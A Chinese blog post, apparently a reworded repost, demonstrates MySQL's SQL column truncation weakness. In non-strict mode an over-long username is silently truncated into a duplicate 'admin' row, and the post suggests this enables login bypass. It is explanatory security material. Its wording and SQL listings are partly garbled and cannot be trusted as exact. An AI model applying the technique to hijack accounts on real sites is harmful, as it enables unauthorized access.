Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1751
  • 博文数量: 1
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 20
  • 用 户 组: 普通用户
  • 注册时间: 2013-06-21 12:47
文章分类
文章存档

2014年(1)

我的朋友
最近访客

分类: 其他平台

2014-06-06 16:17:13

对于MySQL的SQL Column Truncation Vulnerabilities





By:刺

Stefan Esser今天写了篇很棒的文章,提到了关于MySQL里的两个缺点

1. max_packet_size 的问题
2. SQL Column Truncation 攻击
我测试了第二个。
依照paper里描述的,当mysql的 sql_mode设置为default的时候,即不开启STRICT_ALL_TABLES选项时,MySQL对插入超长的值只会提醒 warning,而不是error假如是error就插入不成功,这样可能会导致一些截断问题。
这个问题属于mysql的一个功效,在官方文档中也有所描写,然后咱们最爱好的就是这些功能,不是吗·
测试进程如下(MySQL 5):
首先是开启了strict选项:
sqlmode"STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
成果如下:
mysql create table `truncated_test` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(10) default NULL,
`password` varchar(10) default NULL,
PRIMARY KEY (`id`)
)DEFAULT CHARSETutf8;
Query OK, 0 rows affected (0.08 sec)
mysql select . from truncated_test;
Empty set (0.00 sec)
mysql show columns from truncated_test;
+++++++
' Field ' Type ' Null ' Key ' Default ' Extra '
+++++++
' id ' int(11) ' NO ' PRI ' NULL ' auto_increment '
' username ' varchar(10) ' YES ' ' NULL ' '
' password ' varchar(10) ' YES ' ' NULL ' '
+++++++
3 rows in set (0.00 sec)
mysql insert into truncated_test(`username`,`password`) values("admin","pass");
Query OK, 1 row affected (0.03 sec)
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
++++
1 row in set (0.00 sec)
mysql insert into truncated_test(`username`,`password`) values("admin x",
"new_pass");
ERROR 1406 (22001): Data too long for column 'username' at row 1
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
++++
1 row in set (0.00 sec)
而后是封闭了strict选项
sqlmode"NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
++++
1 row in set (0.00 sec)
mysql insert into truncated_test(`username`,`password`) values("admin x",
"new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql select . from truncated_test;
++++
' id ' username ' password '
++++
' 1 ' admin ' pass '
' 2 ' admin ' new_pass '
++++
2 rows in set (0.00 sec)
mysql
可见插入胜利。呈现了两个admin的记载。
那么假想相似如下语句
userdata null;
if (isPasswordCorrect( username, password))
userdata getUserDataByLogin( username);
...

两次查问的先后问题,可能就会导致一次bypass破绽。
当然在实在环境里没这么简略,可能在运用层面上还会有一些长度检讨,往往会使这种攻打失败。但这种袭击能够实行的处所也不仅仅是登录处,还有更普遍的利用空间。

阅读(348) | 评论(0) | 转发(0) |
0

上一篇:没有了

下一篇:没有了

给主人留下些什么吧!~~